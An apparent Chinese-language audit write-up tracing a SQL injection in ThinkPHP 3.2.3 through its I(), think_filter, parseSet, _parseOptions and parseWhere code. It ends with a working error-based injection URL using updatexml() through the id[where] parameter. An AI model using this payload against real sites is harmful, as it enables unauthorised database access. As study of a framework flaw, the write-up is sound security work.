開始復現審計一下tp3和tp5的框架漏洞,當個練習吧。
涉及注入的方法為where() table() delete()等。
環境 tp3.2.3 :

0x01 注入成因
測試代碼:
public function index2(){ // $data = M('user')-> where('username = "admin"')->select(); // dump($data); $id = i('id'); $res = M('user')->find($id);

I方法斷點 跟進去看。

F7跟進, thinkphp/ThinkPHP/Common/functions.php :
從283行開始看 首先判斷提交方式:
...... switch(strtolower($method)) { case 'get' : $input =& $_GET; break; case 'post' : $input =& $_POST; break; case 'put' : if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input = $_PUT; break; case 'param' : switch($_SERVER['REQUEST_METHOD']) { case 'POST': $input = $_POST; break; case 'PUT': if(is_null($_PUT)){ parse_str(file_get_contents('php://input'), $_PUT); } $input = $_PUT; break; default: $input = $_GET; } break; case 'path' : $input = array(); if(!empty($_SERVER['PATH_INFO'])){ $depr = C('URL_PATHINFO_DEPR'); $input = explode($depr,trim($_SERVER['PATH_INFO'],$depr)); } break; case 'request' : $input =& $_REQUEST; break; case 'session' : $input =& $_SESSION; break; case 'cookie' : $input =& $_COOKIE; break; case 'server' : $input =& $_SERVER; break; case 'globals' : $input =& $GLOBALS; break; case 'data' : $input =& $datas; break; default: return null; }
重點看過濾的地方


think_filter:

function think_filter(&$value){ // TODO 其他安全過濾 // 過濾查詢特殊字符 if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; } }
這里基本就是成因了 黑名單過濾 但是有漏網之魚 常見的updataxml()報錯函數都沒過濾。
跟到后面在函數 parseSet可以看到我們提交的字符串作為占位符:

protected function parseSet($data) { foreach ($data as $key=>$val){ if(is_array($val) && 'exp' == $val[0]){ $set[] = $this->parseKey($key).'='.$val[1]; }elseif(is_null($val)){ $set[] = $this->parseKey($key).'=NULL'; }elseif(is_scalar($val)) {// 過濾非標量數據 if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){ $set[] = $this->parseKey($key).'='.$this->escapeString($val); }else{ $name = count($this->bind); $set[] = $this->parseKey($key).'=:'.$name; $this->bindParam($name,$val); } } } return ' SET '.implode(',',$set); }
_parseOptions方法:
if (is_array($options)) { //當$options為數組的時候與$this->options數組進行整合 $options = array_merge($this->options, $options); } if (!isset($options['table'])) {//判斷是否設置了table 沒設置進這里 // 自動獲取表名 $options['table'] = $this->getTableName(); $fields = $this->fields; } else { // 指定數據表 則重新獲取字段列表 但不支持類型檢測 $fields = $this->getDbFields(); //設置了進這里 } // 數據表別名 if (!empty($options['alias'])) {//判斷是否設置了數據表別名 $options['table'] .= ' ' . $options['alias']; //注意這里,直接拼接了 } // 記錄操作的模型名稱 $options['model'] = $this->name; // 字段類型驗證 if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //讓$optison['where']不為數組或沒有設置不進這里 // 對數組查詢條件進行字段類型檢查 ...... } // 查詢過后清空sql表達式組裝 避免影響下次查詢 $this->options = array(); // 表達式過濾 $this->_options_filter($options); return $options;
當我們傳入的值不為數組,直接進行解析返回帶進查詢,沒有任何過濾。
同時$options['where']也一樣,看到parseWhere函數
$whereStr = ''; if (is_string($where)) { // 直接使用字符串條件 $whereStr = $where; //直接返回了,沒有任何過濾 } else { // 使用數組表達式 ...... }
0x02 復現利用
http://www.qing-tp3.com/index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

跟到最后的時候還是有點小繞 delet那些方法產生注入大同小異 回來再寫 上班~
